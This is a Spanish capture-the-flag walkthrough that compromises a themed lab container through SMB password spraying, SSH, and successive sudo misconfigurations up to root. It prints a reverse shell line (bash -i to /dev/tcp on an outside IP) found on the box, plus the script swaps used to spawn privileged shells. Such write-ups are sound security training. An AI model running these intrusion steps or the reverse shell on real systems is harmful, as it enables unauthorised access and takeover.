

Desplegamos la máquina.

[illegible]

Le hacemos un ping para comprobar la conectividad y además con el ttl de 64 sabemos que estamos ante una máquina Linux.

```
> ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.057 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.057/0.057/0.057/0.000 ms
```

Con nmap vemos los puertos que están abiertos y sus servicios.

```

PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
|_ ssh-hostkey:
|_   256 39:f8:44:51:19:1a:a9:78:c2:21:e6:19:d3:1e:41:96 (ECDSA)
|_   256 43:9b:ac:9c:d3:0c:ad:95:44:3a:c3:fb:9e:df:3e:a2 (ED25519)
80/tcp    open  http         Apache httpd 2.4.61 ((Debian))
|_ http-title: Juego de Tronos
|_ http-server-header: Apache/2.4.61 (Debian)
139/tcp   open  netbios-ssn  Samba smbd 4
445/tcp   open  netbios-ssn  Samba smbd 4
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
smb2-time:
  date: 2026-03-16T08:14:03
  start_date: N/A
smb2-security-mode:
  3.1.1:
    Message signing enabled but not required

```

Con whatweb vemos las tecnologías que tiene la página web.

```
> whatweb http://172.17.0.2
http://172.17.0.2 [200 OK] Apache[2.4.61], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.61 (Debian)], IP[172.17.0.2], Script, Title[Juego de Tronos]
```

Con gobuster comprobamos los archivos y directorios ocultos.

```

$ gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,
htm,xml,json,css,md,txt,log,conf,ini,js,ts,sh,bak,old,backup,zip,tar,tar.gz,rar,7z,png,jpg,jpeg,gif,svg,webp,wof
f,woff2,ttf,eot,exe,bin,py,pl,rb,asp,aspx,pcap,pcapng -t 100
=====
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://172.17.0.2
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Extensions: bak, rar, jpg, webp, woff2, php, html, xml, md, jpeg, gif, svg, pcap, htm, json, backup, tar, gz, exe
, rb, css, txt, js, sh, old, tar, png, ttf, 7z, woff, bin, py, asp, zip, aspx, pcapng, conf, ini, ts, pl, log, eot
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
index.html (Status: 200) [Size: 1729]
styles.css (Status: 200) [Size: 1179]
dragon (Status: 301) [Size: 309] [--> http://172.17.0.2/dragon/]
server-status (Status: 403) [Size: 275]
Progress: 9263436 / 9263436 (100.00%)
=====
Finished

```

Dentro de la carpeta oculta de dragon, podemos apreciar como una especie de lista de usuarios y contraseñas que probaremos.

```
← → ↻ 🏠 No seguro 🔒 http://172.17.0.2/dragon/EpisodiosT1
Firefox Default GTFOBins PayloadsAllTheThings Nessus SonarQube CCNA OTW
Estos son todos los Episodios de la primera temporada de Juego de tronos.
Tengo la barra espaciadora estropeada por lo que dejare los nombres sin espacios, perdonad las molestias

seacercaelinvierno
elcamino real
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo
```

Creamos un archivo con el que podamos trabajar.

```
> nano episodios.txt
> cat episodios.txt -p
seacercaelinvierno
elcamino real
lordnieve
tullidosbastardosycosasrotas
elloboyelleon
unacoronadeoro
ganasomueres
porelladodelapunta
baelor
fuegoyhielo
```

Comprobamos los directorios de smb que existen, a los cuales no tenemos acceso como invitado.

```
> smbmap -u guest -H 172.17.0.2

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEVans@gmail.com
[+] Checking for open ports...
[+] Checking for open ports...
[*] Detected 1 hosts serving SMB
[+] Authenticating...
[*] Established 1 SMB connection(s) and 0 authenticated session(s)
[+] Enumerating shares...
[+] Enumerating shares...

[+] IP: 172.17.0.2:445 Name: pressenter.hl Status: NULL Session
-----
Disk Permissions Comment
-----
print$ NO ACCESS Printer Drivers
shared NO ACCESS
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debia
n)
nobody NO ACCESS Home Directories
```

Para enumerar usuarios vamos a utilizar la herramienta enum4linux. Y sacamos varios usuarios.

```
> enum4linux -a 172.17.0.2
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Mon Mar 16 09:57:24 2026

[+] Enumerating users using SID S-1-5-21-576290467-842421794-4160586149 and logon username '', password ''
S-1-5-21-576290467-842421794-4160586149-501 A25C43FC9136\nobody (Local User)
S-1-5-21-576290467-842421794-4160586149-513 A25C43FC9136\None (Domain Group)
S-1-5-21-576290467-842421794-4160586149-1000 A25C43FC9136\jon (Local User)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\jon (Local User)
S-1-22-1-1001 Unix User\aria (Local User)
S-1-22-1-1002 Unix User\daenerys (Local User)
```

Creamos un archivo para guardar los usuarios.

```
> cat users.txt -p
jon
aria
daenerys
```

Con netexec conseguimos sacar las contraseñas de los usuarios anteriores.

```
> netexec smb 172.17.0.2 -u users.txt -p episodios.txt --continue-on-success
SMB 172.17.0.2 445 A25C43FC9136 [*] Unix - Samba (name:A25C43FC9136) (domain:A25C43FC9136) (
signing:False) (SMBv1:None) (Null Auth:True)
SMB 172.17.0.2 445 A25C43FC9136 [+] A25C43FC9136\jon:seacercaelinvierno
SMB 172.17.0.2 445 A25C43FC9136 [+] A25C43FC9136\aria:seacercaelinvierno (Guest)
SMB 172.17.0.2 445 A25C43FC9136 [+] A25C43FC9136\daenerys:seacercaelinvierno (Guest)
```

Comprobamos el acceso que tienen los usuarios con smbmap y jon es el único que nos puede valer en este caso.

```
> smbmap -u jon -p seacercaelinvierno -H 172.17.0.2

SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[ ] Checking for open ports...
[*] Detected 1 hosts serving SMB
[ ] Authenticating...
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...
[ ] Enumerating shares...

[+] IP: 172.17.0.2:445 Name: pressenter.hl Status: NULL Session
Disk Permissions Comment
----
print$ READ ONLY Printer Drivers
shared READ, WRITE
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debi
an)
jon READ ONLY Home Directories
```

Obtenemos de la carpeta shared un archivo.

```
> smbclient \\\172.17.0.2\\shared -U "jon"
Password for [WORKGROUP\jon]:
Try "help" to get a list of possible commands.
smb: \> dir
.                D          0 Mon Mar 16 10:08:08 2026
..               D          0 Tue Jul 16 22:25:59 2024
proteccion_del_reino N       313 Tue Jul 16 22:26:00 2024

82083148 blocks of size 1024. 14781272 blocks available
smb: \> get proteccion_del_reino
getting file \proteccion_del_reino of size 313 as proteccion_del_reino (3130000,0 KiloBytes/sec) (average inf K
iloBytes/sec)
smb: \> exit
> cat proteccion_del_reino -p
Aria de ti depende que los caminantes blancos no consigan pasar el muro.
Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un len
guaje antiguo y dificil de entender.
Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aG1qb2R1bGFuaXN0ZXI=
```

Al ver que está en base64 lo desciframos mediante el comando de consola.

```
> echo 'aG1qb2R1bGFuaXN0ZXI=' | base64 -d; echo
hijodelanister
```

Usamos dicha contraseña para conectarnos mediante ssh a la máquina.

```
> ssh jon@172.17.0.2
jon@172.17.0.2's password:
Linux a25c43fc9136 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 16 09:16:58 2026 from 172.17.0.1
jon@a25c43fc9136:~$ id
uid=1000(jon) gid=1000(jon) groups=1000(jon)
```

Comprobamos los usuarios que hay dentro de la máquina.

```
jon@a25c43fc9136:~$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
jon:x:1000:1000:/home/jon:/bin/bash
aria:x:1001:1001:/home/aria:/bin/bash
daenerys:x:1002:1002:/home/daenerys:/bin/bash
```

Vemos si tenemos permisos para ejecutar sudo con algún binario.

```
jon@a25c43fc9136:~$ sudo -l
Matching Defaults entries for jon on a25c43fc9136:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
  use_pty

User jon may run the following commands on a25c43fc9136:
  (aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
jon@a25c43fc9136:~$ ls -la
total 36
drwxr-xr-x 1 jon jon 4096 Jul 17 2024 .
drwxr-xr-x 1 root root 4096 Jul 16 2024 ..
-rw-r--r-- 1 jon jon 128 Jul 17 2024 .bash_history
-rw-r--r-- 1 jon jon 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 jon jon 3526 Mar 29 2024 .bashrc
drwxr-xr-x 3 jon jon 4096 Jul 17 2024 .local
-rwxrwxr-x 1 aria aria 608 Jul 17 2024 .mensaje.py
-rw-r--r-- 1 jon jon 807 Mar 29 2024 .profile
-rw-r--r-- 1 root root 103 Jul 16 2024 paraJon
```

Leemos el script que podemos ejecutar como aria.

```
jon@a25c43fc9136:~$ cat .mensaje.py
import hashlib
import getpass

def encriptar_mensaje():
    mensaje = input('Ingrese el mensaje que desea encriptar: ')

    mensaje_bytes = mensaje.encode('utf-8')

    hash_obj = hashlib.sha256()

    hash_obj.update(mensaje_bytes)

    hash_resultado = hash_obj.hexdigest()

    print(f'Mensaje Original: {mensaje}')
    print(f'Hash SHA-256: {hash_resultado}')

if __name__ == '__main__':
    usuario_actual = getpass.getuser()
    encriptar_mensaje()
    if usuario_actual == 'jon' or usuario_actual == 'aria':
        encriptar_mensaje()
    else:
        print('Lo siento, no tienes permiso para ejecutar este script.')
```

A continuación, vamos a modificar el nombre del archivo para mantenerlo y en su lugar vamos a crear otro archivo que nos mande una bash de aria.

```
jon@a25c43fc9136:~$ mv .mensaje.py .mensajeoriginal.py
jon@a25c43fc9136:~$ ls -la
total 44
-rw-r--r-- 1 jon jon 128 Jul 17 2024 .bash_history
drwxr-xr-x 1 root root 4096 Jul 16 2024 ..
-rw-r--r-- 1 jon jon 128 Jul 17 2024 .bash_history
-rw-r--r-- 1 jon jon 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 jon jon 3526 Mar 29 2024 .bashrc
drwxr-xr-x 3 jon jon 4096 Jul 17 2024 .local
-rwxrwxr-x 1 aria aria 608 Jul 17 2024 .mensajeoriginal.py
-rw-r--r-- 1 jon jon 807 Mar 29 2024 .profile
```

```
jon@a25c43fc9136:~$ cat .mensaje.py
import os

os.system("bash -p")
```

```
jon@a25c43fc9136:~$ ls -la
total 48
drwxr-xr-x 1 jon jon 4096 Mar 16 09:31 .
drwxr-xr-x 1 root root 4096 Jul 16 2024 ..
-rw-r--r-- 1 jon jon 128 Jul 17 2024 .bash_history
-rw-r--r-- 1 jon jon 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 jon jon 3526 Mar 29 2024 .bashrc
drwxr-xr-x 3 jon jon 4096 Jul 17 2024 .local
-rwxr-xr-x 1 jon jon 32 Mar 16 09:31 .mensaje.py
-rwxrwxr-x 1 aria aria 608 Jul 17 2024 .mensajeoriginal.py
```

Ahora podemos ejecutar el comando con sudo y el usuario de aria para escalar privilegios.

```
jon@a25c43fc9136:~$ sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
aria@a25c43fc9136:/home/jon$ id
uid=1001(aria) gid=1001(aria) groups=1001(aria)
```

Como daenerys podemos movernos por su directorio y ver lo que hay, además de leer algún archivo existente dentro de su carpeta personal.

```
aria@a25c43fc9136:/home/jon$ sudo -l
Matching Defaults entries for aria on a25c43fc9136:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:
User aria may run the following commands on a25c43fc9136:

User aria may run the following commands on a25c43fc9136:
    (daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls
```

Encontramos un archivo que nos da la contraseña de daenerys y a su vez una carpeta que está oculta.

```
aria@a25c43fc9136:~$ sudo -u daenerys /usr/bin/ls -la /home/daenerys/
total 32
drwx----- 1 daenerys daenerys 4096 Jul 16 2024 .
drwxr-xr-x 1 root root 4096 Jul 16 2024 ..
-rw-r--r-- 1 daenerys daenerys 220 Mar 29 2024 .bash_logout
-rw-r--r-- 1 daenerys daenerys 3526 Mar 29 2024 .bashrc
-rw-r--r-- 1 daenerys daenerys 807 Mar 29 2024 .profile
drwxr-xr-x 1 root root 4096 Jul 16 2024 .secret
-rw-rw-r-- 1 daenerys daenerys 277 Jul 16 2024 mensajeParaJon
aria@a25c43fc9136:~$ sudo -u daenerys /usr/bin/cat /home/daenerys/mensajeParaJon
Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude
ador.
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu orden
ador.
!drakaris!
```

Y nos conectamos con otra sesión mediante ssh. Esta vez con el usuario daenerys.

```
> ssh daenerys@172.17.0.2
daenerys@172.17.0.2's password:
Linux a25c43fc9136 6.18.12+kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.18.12-1kali1 (2026-02-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Mar 16 09:44:00 2026 from 172.17.0.1
daenerys@a25c43fc9136:~$
```

Comprobamos el archivo oculto dentro de secret es una reverse shell que podemos modificar.

```
daenerys@a25c43fc9136:~/.secret$ ls -la
total 12
drwxr-xr-x 1 root root 4096 Jul 16 2024 .
drwx----- 1 daenerys daenerys 4096 Mar 16 09:44 ..
-rwxr-xr-x 1 daenerys daenerys 57 Jul 16 2024 .shell.sh
daenerys@a25c43fc9136:~/.secret$ cat .shell.sh
#!/bin/bash
bash -i >& /dev/tcp/192.168.234.42/443 0>&1
```

Ya que ese archivo ejecutado como root nos escala privilegios hacia dicho usuario.

```
daenerys@a25c43fc9136:~$ sudo -l
Matching Defaults entries for daenerys on a25c43fc9136:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:
User daenerys may run the following commands on a25c43fc9136:
    (ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh
```

Modificamos el archivo para que mantenga los privilegios de una bash de root.

```
daenerys@a25c43fc9136:~/.secret$ cat .shell.sh
#!/bin/bash
bash -p
```

Y listo ya somos root.

```
daenerys@a25c43fc9136:~/.secret$ sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh
root@a25c43fc9136:/home/daenerys/.secret# id
uid=0(root) gid=0(root) groups=0(root)
```